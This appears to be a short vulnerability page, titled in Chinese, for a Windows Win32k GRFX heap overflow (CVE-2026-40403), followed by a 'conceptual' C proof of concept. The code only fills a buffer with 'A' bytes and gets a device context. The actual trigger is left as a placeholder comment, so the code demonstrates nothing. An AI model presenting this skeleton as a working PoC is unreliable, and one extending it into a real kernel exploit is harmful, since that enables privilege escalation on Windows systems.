CVE-2026-40403 Windows Win32K GRFX堆缓冲区溢出漏洞

/* * PoC for CVE-2026-40403 (Conceptual) * Triggering Heap Overflow in Win32k GRFX */ #include <windows.h> #include <stdio.h> void main() { printf("[*] Starting PoC for CVE-2026-40403\n"); // 1. Allocate a large buffer to trigger overflow SIZE_T size = 0x2000; PVOID payload = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, size); memset(payload, 0x41, size); // Fill with 'A' // 2. Obtain Device Context (DC) to interact with Win32k HDC hdc = GetDC(NULL); // 3. Hypothetical trigger function // In a real exploit, specific undocumented Win32k syscalls or // GDI object manipulations would be used to pass the payload // to the vulnerable kernel buffer. // Example: VulnerableGdiCall(hdc, payload, size); printf("[*] Payload prepared. Attempting to trigger vulnerability...\n"); // Trigger logic goes here ReleaseDC(NULL, hdc); HeapFree(GetProcessHeap(), 0, payload); printf("[*] PoC execution finished.\n"); }